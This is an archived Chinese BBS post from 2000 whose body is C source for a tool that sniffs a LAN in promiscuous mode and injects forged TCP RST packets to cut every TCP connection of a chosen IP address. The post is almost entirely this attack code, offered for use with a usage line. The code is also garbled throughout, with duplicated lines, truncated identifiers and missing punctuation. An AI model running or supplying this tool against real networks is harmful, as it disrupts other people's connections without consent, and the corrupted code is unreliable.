荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (Back to real world!), 信区: Hacker
标  题: 截断局域网里面给定IP的机器的所有TCP凌**{F*(L?*(p***
发信站: BBS 荔园晨风站 (Thu Mar 30 17:22:01 2000), 转信

发信人: AngelFalls (Happiness Forever), 信区: Security
标  题: 截断局域网里面给定IP的机器的所有TCP连接程序
发信站: 武汉白云黄鹤站 (Wed Mar 29 18:22:12 2000), 站内信件

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <string.h>
#define  __FAVOR_BSD
#include <netinet/tcp.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>

#define  HEADER_LEN     32 //20+12


int sock_pck;
struct ifreq ifr_old;

char *hw_addr(u_char str_hw[6], char *result)
{
        sprintf(result, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", str_hw[0], str_hw[1],
                str_hw[2], str_hw[3], str_hw[4], str_hw[5]);
        return result;
}

u_int16_t in_chksum(u_short *addr, int len)
{
        u_int32_t sum = 0;
        u_int16_t *ad = addr, result;

        while(len > 1)
        {
                sum += *ad++;
                len -= 2;
        }

        if(len == 1)
        if(len == 1)
        {
                result = 0;
                *((u_char *)&result) = *(u_char *)ad;
                sum += result;
        }

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        result = ~sum;
        return(result);
}

void leave(int signo)
{
        ifr_old.ifr_flags &= ~IFF_PROMISC;
        if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr_old) < 0 )
        {
                perror("Restore IFF_PROMISC");
                exit(-1);
        }
        setuid( getuid() );
        exit(0);
        exit(0);
}

int main(int argc, char *argv[])
{
        struct ifreq ifr;
        struct sockaddr_in sa;
        struct sockaddr sa_fr;
        struct in_addr sa_in, dst_addr, src_addr;
        u_char recvbuf[128], sendbuf[128], pseudoHead[HEADER_LEN], *pseudo, str[
32], str2[32], str_src[32], str_dst[32], str_flag[32];
        struct iphdr *i_hdr, *i_hdr2;
        struct tcphdr *t_hdr, *t_hdr2;
        struct ethhdr *e_hdr;
        u_int16_t n;
        int len;

        if( argc != 2 )
        {
                printf("Usage : %s remoteIP\n", argv[0]);
                exit(-1);
        }


        if( inet_aton(argv[1], &sa.sin_addr) < 0 )
        {
                printf("Usage : %s remoteIP\n", argv[0]);
                exit(-1);
        }

        if ( (sock_pck = socket(PF_INET, SOCK_PACKET, htons(ETH_P_IP))) < 0 )
        {
                perror("Socket Packet");
                exit(-1);
        }

        strcpy(ifr.ifr_name, "eth0");
        if( ioctl(sock_pck, SIOCGIFFLAGS, &ifr) < 0 )
        {
                perror("Ioctl SIOCGIFFLAGS");
                exit(-1);
        }

        ifr_old = ifr;
        ifr.ifr_flags |= IFF_PROMISC;
        if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr) < 0 )
        if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr) < 0 )
        {
                perror("Ioctl SIOCSIFFLAGS");
                exit(-1);
        }

        signal(SIGINT, leave);
        signal(SIGTERM, leave);

        while( 1 )
        {
                //54 is the size of ethhdr+iphdr+tcphdr
                if( (n = recvfrom(sock_pck, recvbuf, 128, 0, &sa_fr, &len)) < 5
)
                        continue;
                i_hdr = (struct iphdr *)(recvbuf + 14);
                if( i_hdr->protocol == IPPROTO_TCP && i_hdr->saddr == sa.sin_adr
.s_addr)//Get target!!!
                {
                        sa_in.s_addr = i_hdr->daddr;
                        printf("%s to %s connection detected!\n", argv[1], inetn
toa(sa_in));
                        t_hdr = (struct tcphdr *)(recvbuf + 34);
                        t_hdr = (struct tcphdr *)(recvbuf + 34);
                        if( (t_hdr->th_flags & TH_RST) == 0 ) //If disconnectin,
 we needn't to disconnect it again
                        {
                                memcpy(sendbuf, &recvbuf[6], 6); //6 is the siz
of ether address
                                memcpy(&sendbuf[6], recvbuf, 6);
                                memcpy(&sendbuf[12], &recvbuf[12], 2); //protocl
 type, should be IP
//                              printf("Ethhdr copied!\n");
                                i_hdr2 = (struct iphdr *)(sendbuf + 14);
                                memcpy(i_hdr2, i_hdr, 12);
                                i_hdr2->tot_len = htons(40);
                                i_hdr2->check = 0;
                                memcpy(&(i_hdr2->saddr), &(i_hdr->daddr), 4);
                                memcpy(&(i_hdr2->daddr), &(i_hdr->saddr), 4);
                                i_hdr2->check = in_chksum((u_short *)i_hdr2, 20;

//                              printf("Iphdr copied!\n");

                                t_hdr2 = (struct tcphdr *)(sendbuf + 34);
                                t_hdr2->th_sport = t_hdr->th_dport;
                                t_hdr2->th_dport = t_hdr->th_sport;
                                t_hdr2->th_dport = t_hdr->th_sport;
                                t_hdr2->th_seq = t_hdr->th_ack;
                                t_hdr2->th_ack = t_hdr->th_seq;
                                t_hdr2->th_x2 = 0;
                                t_hdr2->th_off = 5;     //Header Len
                                t_hdr2->th_flags = TH_RST ;
                                t_hdr2->th_win = htons(32120);
                                t_hdr2->th_sum = 0;
                                t_hdr2->th_urp = 0;
//                              printf("Tcphdr copied!\n");
                                pseudo = pseudoHead;
                                memcpy(pseudo, &i_hdr2->saddr, 8);
                                *(pseudo+8) = 0;
                                pseudo += 9;
                                memcpy(pseudo, &(i_hdr2->protocol), 1);
                                pseudo++;
                                n = htons(20); //TCP segment length
                                memcpy(pseudo, &n, 2);
                                pseudo += 2;
                                memcpy(pseudo, t_hdr2, 20);
//                              printf("Pseudo Head prepared!\n");
                                t_hdr2->th_sum = in_chksum((u_short *)pseudoHea,
 HEADER_LEN);
 HEADER_LEN);
                                sa_fr.sa_family = 1;
                                strcpy(sa_fr.sa_data, "eth0");
                                /*
                                e_hdr = (struct ethhdr *)sendbuf;
                                printf("HW: Sent to %s from %s\n", hw_addr(e_hd-
>h_dest, str1), hw_addr(e_hdr->h_source, str2));
                                printf("Proto Type: %.4x\n", ntohs(e_hdr->h_proo
));
                                printf("Ver : %d, HLen : %d, Tos : %d, Tot_Len
%d,  Id : %d, Ttl : %d\n",
                                        i_hdr2->version, i_hdr2->ihl, i_hdr2->ts
, ntohs(i_hdr2->tot_len), ntohs(i_hdr2->id), i_hdr2->ttl);
                                dst_addr.s_addr = i_hdr2->daddr;
                                src_addr.s_addr = i_hdr2->saddr;
                                strcpy( str_src, inet_ntoa(src_addr));
                                strcpy( str_dst, inet_ntop(AF_INET, &dst_addr, t
r_flag, sizeof(str_flag)));
                                printf("Src IP : %s, Dst IP : %s\n", str_src, sr
_dst);
                                printf("Dst Port : %d, Src Port : %d\n", ntohs(_
hdr->th_sport), ntohs(t_hdr->th_dport));
//                              break;
//                              break;
                                */
                                if( sendto(sock_pck, sendbuf, 54, 0, &sa_fr, sie
of(sa_fr)) < 0 )
                                        perror("SendTo");
                                else
                                        printf("%s to %s connection sent RST!\n,
 argv[1], inet_ntoa(sa_in));
                                printf("\n");
                        }
                }
        }
        return 0;
}

--
  Wish your sky be sunny,
   Wish your heart be happy,
    Wish your body be healthy,
     Wish U never be lazy.
  :) :> ;) ;> :-) :-> ;-) ;->

※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 202.106.16.45]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店